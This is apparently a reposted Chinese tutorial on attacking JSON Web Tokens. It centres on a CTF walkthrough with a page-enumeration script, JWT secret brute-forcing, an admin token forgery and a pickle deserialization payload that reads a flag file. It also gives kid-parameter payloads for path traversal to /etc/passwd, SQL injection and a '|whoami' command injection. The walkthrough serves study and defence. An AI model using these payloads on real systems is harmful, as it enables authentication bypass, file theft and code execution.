JWT攻防


 
Json Web Token簡稱jwt,用於身份認證等相關場景
 

JWT的結構

 
JWT由三部分組成, Header Payload Signature
 
其中 Header 一般是用於指定算法用於簽名, Payload 則是我們聲明的一些信息, Signature 則是根據 Header 以及 Payload 加密產生的
 
要創建簽名部分,必須采用header,payload,密鑰
 
例如HS256(HMAC SHA256),簽名的構成為:
 

HMACSHA256(
  base64Encode(header) + "." +
  base64Encode(payload),
  secret)

 

常用攻擊方式

 

簽名密鑰可被爆破

 
這里面以一道CTF題目為例([CISCN2019 華北賽區 Day1 Web2]ikun) buuoj上可以復現
 
首先先找到有lv6的商品,這里面根據圖片名遍歷頁數
 

import requests
import time
num=2

urltest="http://8b593fb8-8719-4e7d-bad0-9725019393d4.node3.buuoj.cn/shop?page="
test=requests.session()
while 1 :
    url=urltest+str(num)
    #print(url)
    requests_url = test.get(url)
    #print(requests_url.content)
    if "lv6.png" in requests_url.text:
        print(str(num))
        exit()
    #time.sleep(1)
    num=num+1

 

 
但是購買的錢顯然不夠,但是在優惠率處可以修改,改為 0.0000008,買完后跳轉到一個頁面
 

 
觀察Cookie發現是通過 JWT 來認證的,這里面我們把JWT放到 https://jwt.io/ 看看


 
發現 payload 區域為test,顯然我們要改為 admin,最后使用的簽名算法為 HS256


 
既然是對稱算法,我們爆破一下密鑰試試,用下方這個項目
 

https://github.com/brendan-rius/c-jwt-cracker
 
我是Docker搭建的
 

docker run -it --rm jwtcrack  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644

 
之后爆破出密鑰為 1Kun
 
因此生成我們要的jwt
 

 

 
獲取源碼進行代碼審計
 

 
審計源碼發現在 Admin.py 中存在Python反序列化
 

class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

 
pickle.loads存在反序列化
 
參考這里面反序列化
 
https://xz.aliyun.com/t/2289#toc-1
 

import pickle
import urllib
class test(object):
    def __reduce__(self):
        return (eval, ("file('/flag.txt','r').read()",))

a=test()
payload=pickle.dumps(a)
payload=urllib.quote(payload)
print payload
# pickle.loads 會解決 import 問題,對於未 import的模塊會嘗試的import,所以就會加載我們的os模塊

 
在成為大會員出抓包修改為pyload即可獲得Flag
 
參考
 
http://www.cl4y.top/buuctf_wp/#toc-head-24

https://xz.aliyun.com/t/2289#toc-3
 
爆破密鑰的話應用場景不是很大
 

空加密算法

 
將 alg設置為空,有可能繞過JWT的驗證
 

修改密鑰算法

 
即將非對稱算法,改為對稱算法
 

修改KID參數

 
kid是jwt header中的參數,用於指定加密算法的密鑰,改參數由用戶輸入,因此可能會造成安全隱患
 

任意文件讀取

 
kid參數用於讀取密鑰文件,但系統並不會知道用戶想要讀取的到底是不是密鑰文件,所以,如果在沒有對參數進行過濾的前提下,攻擊者是可以讀取到系統的任意文件的。
 

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/etc/passwd"
}

 

SQL注入

 
kid也可以從數據庫中提取數據,這時候就有可能造成SQL注入攻擊,通過構造SQL語句來獲取數據或者是繞過signature的驗證

 

{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "key11111111' || union select 'secretkey' -- "
}

 

命令注入

 
對kid參數過濾不嚴也可能會出現命令注入問題,但是利用條件比較苛刻。如果服務器后端使用的是Ruby,在讀取密鑰文件時使用了open函數,通過構造參數就可能造成命令注入。

"/path/to/key_file|whoami"

 
對於其他的語言,例如php,如果代碼中使用的是exec或者是system來讀取密鑰文件,那么同樣也可以造成命令注入,當然這個可能性就比較小了。

 

參考

 
https://xz.aliyun.com/t/6776#toc-7
 
https://skysec.top/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM